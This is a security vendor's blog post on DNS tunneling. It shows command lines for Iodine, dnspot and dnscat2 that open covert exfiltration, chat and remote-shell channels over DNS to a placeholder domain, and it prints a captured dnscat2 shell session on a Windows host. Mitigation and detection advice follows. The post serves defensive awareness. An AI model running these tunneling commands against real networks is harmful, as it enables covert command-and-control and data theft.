Report herunterladen: Wie CIOs und CEOs im KI-Zeitalter in Einklang kommen

Schließen
Schließen
Ihr Netzwerk von morgen
Ihr Netzwerk von morgen
Planen Sie Ihren Weg zu einem schnelleren, sichereren und widerstandsfähigeren Netzwerk, das auf die von Ihnen unterstützten Anwendungen und Benutzer zugeschnitten ist.
Erleben Sie Netskope
Machen Sie sich mit der Netskope-Plattform vertraut
Hier haben Sie die Chance, die Single-Cloud-Plattform Netskope One aus erster Hand zu erleben. Melden Sie sich für praktische Übungen zum Selbststudium an, nehmen Sie an monatlichen Live-Produktdemos teil, testen Sie Netskope Private Access kostenlos oder nehmen Sie an Live-Workshops teil, die von einem Kursleiter geleitet werden.
Ein führendes Unternehmen im Bereich SSE. Jetzt ein führender Anbieter von SASE.
Netskope wird als Leader mit der weitreichendsten Vision sowohl im Bereich SSE als auch bei SASE Plattformen anerkannt
2X als Leader im Gartner® Magic Quadrant für SASE-Plattformen ausgezeichnet
Eine einheitliche Plattform, die für Ihre Reise entwickelt wurde
Generative KI für Dummies sichern
Generative KI für Dummies sichern
Erfahren Sie, wie Ihr Unternehmen das innovative Potenzial generativer KI mit robusten Datensicherheitspraktiken in Einklang bringen kann.
Moderne Data Loss Prevention (DLP) für Dummies – E-Book
Moderne Data Loss Prevention (DLP) für Dummies
Hier finden Sie Tipps und Tricks für den Übergang zu einem cloudbasierten DLP.
Modernes SD-WAN für SASE Dummies-Buch
Modernes SD-WAN für SASE-Dummies
Hören Sie auf, mit Ihrer Netzwerkarchitektur Schritt zu halten
Verstehen, wo die Risiken liegen
Advanced Analytics verändert die Art und Weise, wie Sicherheitsteams datengestützte Erkenntnisse anwenden, um bessere Richtlinien zu implementieren. Mit Advanced Analytics können Sie Trends erkennen, sich auf Problembereiche konzentrieren und die Daten nutzen, um Maßnahmen zu ergreifen.
Technischer Support von Netskope
Technischer Support von Netskope
Überall auf der Welt sorgen unsere qualifizierten Support-Ingenieure mit verschiedensten Erfahrungen in den Bereichen Cloud-Sicherheit, Netzwerke, Virtualisierung, Content Delivery und Software-Entwicklung für zeitnahen und qualitativ hochwertigen technischen Support.
Netskope-Video
Netskope-Schulung
Netskope-Schulungen helfen Ihnen, ein Experte für Cloud-Sicherheit zu werden. Wir sind hier, um Ihnen zu helfen, Ihre digitale Transformation abzusichern und das Beste aus Ihrer Cloud, dem Web und Ihren privaten Anwendungen zu machen.

DNS Tunneling: The Blind Spot in Your Network Security Strategy

Aug 26 2025

Summary

The Domain Name System (DNS) is a critical component of internet infrastructure, responsible for translating human-readable domain names into IP addresses. However, the ubiquitous nature and often-overlooked security aspects of DNS make it a prime target for malicious actors. 

This blog post investigates the tools used for data exfiltration over DNS, the techniques involved, and the countermeasures to mitigate these threats. 

Key takeaways

DNS tunneling is a stealthy and increasingly common method for data exfiltration and command-and-control. This article aims to raise awareness of how attackers exploit DNS and what defenders can do to disrupt that activity. Here are some of the key takeaways:

  • Enforce DNS resolver control to prevent unauthorized or malicious queries.
  • Monitor for abnormal DNS patterns indicative of tunneling or malware activity.
  • Inspect and filter DNS traffic to block suspicious or newly observed domains early.

Details

Primarily intended for domain name resolution, DNS is frequently permitted through firewalls, rendering it a desirable clandestine communication medium. Adversaries may tunnel data and command-and-control (C2) directives within seemingly valid DNS queries and replies. Consequently, DNS and affiliated protocols are increasingly employed for nefarious activities. Therefore, understanding the potential for abuse within DNS-related protocols is just as crucial as monitoring traditional web traffic for malicious activity.

Commonly used and abused DNS record types:

Record TypeDescription
AStores an IPv4 address
AAAAStores an IPv6 address
MXMail exchanger
CNAMEAn alias for another domain name
TXTStores a text string

The table above shows several DNS record types that are being abused. For example, the TXT record type is often used to prove domain ownership through challenge responses, with specific TXT records being populated like:

; QUESTION SECTION:
;_acme-challenge.example.com. IN TXT
;; ANSWER SECTION:
_acme-challenge.example.com. 3600 IN TXT "TglI7jzpo9O4q7VUkMAutwBuBAjhPSt..."

This flexibility in record content, especially in types like TXT, which can store arbitrary strings, makes them attractive for embedding encoded payloads. Additionally, query subdomains in A or AAAA requests can carry outbound data, while the responses can contain instructions or data fragments for the recipient. The inherent structure of DNS traffic, combined with its permissiveness across most networks, creates an ideal channel for covert communication and data exfiltration.

A range of tools has emerged to exploit these characteristics. Some were originally built to provide connectivity in restrictive environments, while others are designed with offensive operations in mind. Notable examples of such tools include Iodine, dnspot, and dnscat2, each employing distinct techniques to exploit DNS for data tunneling or command-and-control communication.

ToolSupported DNS Record TypesMain Features
IodineA, CNAME, MX, NULL, PRIVATE, SRV, TXTIP-level tunneling
dnspotA, CNAME, OPTChat and C2
dnscat2A, AAAA, CNAME, MX, TXTTunneling and C2

Tunneling over DNS with Iodine

Iodine is a tool that enables the tunneling of IPv4 data through a DNS server. This is particularly useful in scenarios where a firewall restricts internet access but permits DNS queries.

Iodine server

As the client communicates directly with the server, the domain used doesn’t have to be owned by the attacker or even exist. In the following example, a fake domain iodine.domain.not.exist was used.

Iodine client

After the connection has been established, a virtual interface, dns0, is created. The client can now reach the server using its private IP address, such as:

$  wget http://10.10.10.10/secret.txt

Iodine supports various DNS record types, such as A, TXT, MX, and CNAME. The packet trace revealed the use of non-printable characters in DNS queries, as shown in the screenshot below.

Visualizations of communications during tunnel idling showed the client communicating with the server at a fixed frequency, as depicted in the picture below.

Chat over DNS with dnspot

dnspot is a tool that enables covert communication by tunneling data through DNS queries and responses. It can be used to exfiltrate data or establish command-and-control channels in environments where traditional network traffic is restricted. We’ll be using its *chat* mode to send messages from the client to the server.

Server running in *chat* mode:

$ ./dnspot-server-linux generate
public key: eskfpbyb6jfnwz06o701ki53btpwaviya68ar41l85b98e1zjb
private key: 1cw3o8b7ga8wlmbhe4ws7pxx3lbqpv9bo8zaeugtdl7zumq40c
!quit to exit
> !quit


$ sudo ./dnspot-server-linux --dnsSuffix domain.not.exist --privateKey 1cw3o8b7ga8wlmbhe4ws7pxx3lbqpv9bo8zaeugtdl7zumq40c --mode chat
!quit to exit
>

Client sending chat messages:

> dnspot-agent-windows.exe  --dnsSuffix domain.not.exist  --serverPublicKey eskfpbyb6jfnwz06o701ki53btpwaviya68ar41l85b98e1zjb  --serverAddress <ServerIP>:53

Press Ctrl+D to exit
-> Hello from the client machine ;b
->

Messages received by the server:

> [czm3e64p5u0f5q4difialyv48uo4cv20dk764eyedk2quzho8n]: Hello from the client machine ;b
->

Packet traces

An extremely long hostname in DNS traffic can be observed in the screenshot below:

C2 over DNS with dnscat2

dnscat2 is a powerful tool that enables command-and-control (C2) communication over the seemingly innocuous DNS traffic. This technique allows attackers to establish covert channels, bypassing traditional firewall rules that often permit DNS traffic. By tunneling command and data within DNS queries and responses, dnscat2 provides a stealthy and persistent backdoor into compromised systems.

dnscat2 server

$ sudo dnscat2-server domain.not.exist

Or use its Docker image to run it if an RCODE_NAME_ERROR is encountered.

$ docker run --rm -it --privileged -p 53:53/udp -e DOMAIN_NAME="domain.not.exist" --name dnscat2 arno0x0x/dnscat2

dnscat2 client

$ dnscat --dns domain=domain.not.exist,server=<server_ip>,type=TXT

Creating DNS driver:
domain = domain.not.exist
host = 0.0.0.0
port = 53
type = TXT
server = ...

Encrypted session established! For added security, please verify the server also displays this string:

Poxes Story Peace Harp Lordy Flacks

Session established!

Once the client connects to the server, the attacker can interact with the client machine through the dnscat2> prompt:

dnscat2>
New window created: 1
Session 1 security: ENCRYPTED BUT *NOT* VALIDATED
For added security, please ensure the client displays the same string:
>> Poxes Story Peace Harp Lordy Flacks
dnscat2>
dnscat2>
windows
0 :: main [active]
crypto-debug :: Debug window for crypto stuff [*]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = domain.not.exist [*]
1 :: command (winvic99) [encrypted, NOT verified] [*]
dnscat2> window -i 1
New window created: 2
Session 2 security: ENCRYPTED BUT *NOT* VALIDATED
For added security, please ensure the client displays the same string:
>> Shirks Abate Winful Sonny Wages Ripe
dnscat2>
window -i 2
New window created: 2
history_size (session) => 1000
Session 2 security: ENCRYPTED BUT *NOT* VALIDATED
For added security, please ensure the client displays the same string:
>> Shirks Abate Winful Sonny Wages Ripe
This is a console session!
That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!
To go back, type ctrl-z.
Microsoft Windows [Version 10.0.20348.1668]
(c) Microsoft Corporation. All rights reserved.


C:\Users\Administrator\Downloads>whoami
cmd.exe (winvic99) 3>
whoami
winvic99\administrator


C:\Users\Administrator\Downloads>
dir c:\
cmd.exe (winvic99) 2> dir c:\
Volume in drive C has no label.
Volume Serial Number is 702E-4043
Directory of c:\
11/02/2024 03:57 AM 12,288 DumpStack.log
08/19/2021 06:24 AM <DIR> EFI
05/14/2024 05:41 AM 0 log.txt
05/08/2021 08:20 AM <DIR> PerfLogs
03/01/2025 01:43 PM <DIR> Program Files
04/16/2025 10:52 PM <DIR> Program Files (x86)
01/08/2025 03:20 AM <DIR> Python27
04/17/2023 12:29 PM <DIR> Users
04/16/2025 10:52 PM <DIR> Windows
2 File(s) 12,288 bytes
7 Dir(s) 8,261,951,488 bytes free
C:\Users\Administrator\Downloads>

Packet Traces

Consecutive hexadecimal patterns can be observed in the hostname part of the FQDN.

The periodic use of specific query types, like TXT, was observed in the diagram below when the C2 session idled.

Mitigation

DNS tunneling is a stealthy and increasingly common method for data exfiltration and command-and-control. Here’s what we recommend to mitigate these threats:

  • Limit DNS access to approved resolvers: Restrict outbound DNS queries to a tightly controlled list of trusted resolvers.  This helps reduce the attack surface and prevents unauthorized DNS traffic that could be used for tunneling or evasion.  In the three examples discussed in this article, the client communicates directly with the target DNS server, querying fully qualified domain names (FQDNs) under a non-existent domain – domain.not.exist.
  • Leverage anomaly detection on DNS queries: Monitor for unusual patterns in DNS query names, such as high-entropy strings, excessive length, or non-standard character sets.  These anomalies often indicate tunneling behavior or domain generation algorithms (DGAs) used by malware.
  • Inspect DNS traffic via proxies or filters: Route DNS queries through security appliances or proxies that can perform deep inspection.  Focus on identifying newly registered domains (NRDs), newly observed domains (NODs), and known malicious domains to catch early-stage threats before they succeed.

References

  • https://github.com/yarrick/iodine
  • https://github.com/mosajjal/dnspot
  • https://github.com/iagox86/dnscat2

Netskope Detection

Block events will be raised with threat type dns_tunnel when Block All DNS Tunnels is enabled in DNS profiles. See https://docs.netskope.com/en/dns-profile/ for best practices.

Conclusions

DNS-based tunneling is a stealthy threat, leveraging a seemingly benign protocol for malicious communication. Detecting and disrupting these hidden channels requires vigilance and proactive security measures, including strict DNS controls and anomaly detection. Understanding this attack vector is crucial for defending against sophisticated cyber threats in our increasingly interconnected world.

author image
Hubert Lin
Hubert Lin’s recent focus is offensive security. He also holds certificates in Red Hat Certified Engineer (RHCE), and Offensive Security Certified Professional (OSCP).
Hubert Lin’s recent focus is offensive security. He also holds certificates in Red Hat Certified Engineer (RHCE), and Offensive Security Certified Professional (OSCP).
Verbinden Sie sich mit Netskope

Subscribe to the Netskope Blog

Sign up to receive a roundup of the latest Netskope content delivered directly in your inbox every month.